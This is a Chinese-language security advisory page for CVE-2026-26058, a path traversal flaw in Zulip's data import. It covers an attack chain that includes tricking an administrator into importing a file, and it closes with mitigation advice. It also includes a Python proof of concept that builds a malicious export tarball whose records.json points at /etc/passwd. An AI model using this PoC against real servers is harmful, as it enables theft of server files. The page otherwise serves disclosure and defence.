IPBUF安全漏洞报告
English
CVE-2026-26058 CVSS 6.1 中危

CVE-2026-26058 Zulip 任意文件读取漏洞

披露日期: 2026-04-03

漏洞信息

漏洞编号
CVE-2026-26058
漏洞类型
路径遍历
CVSS评分
6.1 中危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Zulip

相关标签

路径遍历任意文件读取ZulipCVE-2026-26058

漏洞概述

Zulip是一款开源团队协作工具。在1.4.0至11.6之前的版本中存在路径遍历漏洞。攻击者可构建恶意导出tar包,利用`./manage.py import`功能在`uploads/records.json`中植入遍历路径。当管理员导入该数据时,服务器会将`zulip`用户权限下的任意文件复制到uploads目录,导致敏感信息泄露。

技术细节

该漏洞源于Zulip导入功能对`uploads/records.json`文件路径解析的校验不足。在受影响版本中,攻击者可以构造一个特制的tar包,其中包含恶意的`records.json`文件。该文件利用路径遍历技术(如`../`序列)指向服务器文件系统上的敏感文件(如`/etc/passwd`或配置文件)。当管理员执行`./manage.py import`导入此tar包时,程序会跟随恶意路径读取文件,并将其写入uploads目录。虽然CVSS向量显示需要本地访问和用户交互(通常指管理员导入操作),但这仍允许具有低权限访问能力的攻击者(或诱导管理员)窃取服务器上的关键数据,造成机密性风险。

攻击链分析

STEP 1
步骤1:制作恶意文件
攻击者构建一个特制的tar压缩包,其中包含经过精心设计的`uploads/records.json`文件,该文件包含指向服务器敏感文件(如`/etc/passwd`)的路径遍历序列(如`../`)。
STEP 2
步骤2:诱导导入
攻击者通过社会工程学手段将恶意tar包发送给拥有Zulip管理权限的用户,诱导其在目标服务器上执行数据导入操作。
STEP 3
步骤3:执行导入
管理员执行`./manage.py import`命令导入恶意tar包。Zulip解压文件并解析`records.json`。
STEP 4
步骤4:路径解析与文件复制
由于未正确校验路径,程序跟随`../`序列读取服务器上的任意文件(只要zulip用户有读权限),并将其复制到uploads目录下。
STEP 5
步骤5:获取敏感信息
攻击者通过访问Zulip的上传目录或相关功能,获取被窃取的敏感文件内容。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import tarfile import json import os def create_malicious_tar(output_filename): # Create a directory structure mimicking a Zulip export exploit_dir = "zulip_export_exploit" upload_dir = os.path.join(exploit_dir, "uploads") os.makedirs(upload_dir, exist_ok=True) # Craft malicious records.json with path traversal # The goal is to read /etc/passwd from the server malicious_records = [ { "path": "../../../etc/passwd", "name": "leaked_passwords.txt" } ] records_path = os.path.join(upload_dir, "records.json") with open(records_path, "w") as f: json.dump(malicious_records, f) # Create the tarball with tarfile.open(output_filename, "w:gz") as tar: tar.add(exploit_dir, arcname=".") print(f"[+] Malicious tarball created: {output_filename}") print(f"[+] Upload this to a target server and trigger an import.") # Cleanup for root, dirs, files in os.walk(exploit_dir, topdown=False): for name in files: os.remove(os.path.join(root, name)) for name in dirs: os.rmdir(os.path.join(root, name)) os.rmdir(exploit_dir) if __name__ == "__main__": create_malicious_tar("cve_2026_26058_poc.tar.gz")

影响范围

Zulip >= 1.4.0
Zulip < 11.6

防御指南

临时缓解措施
建议立即将Zulip升级至修复版本11.6。若暂时无法升级,应严格控制数据导入权限,禁止导入来源不明的tar包,并检查系统uploads目录中是否存在异常新增的敏感文件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表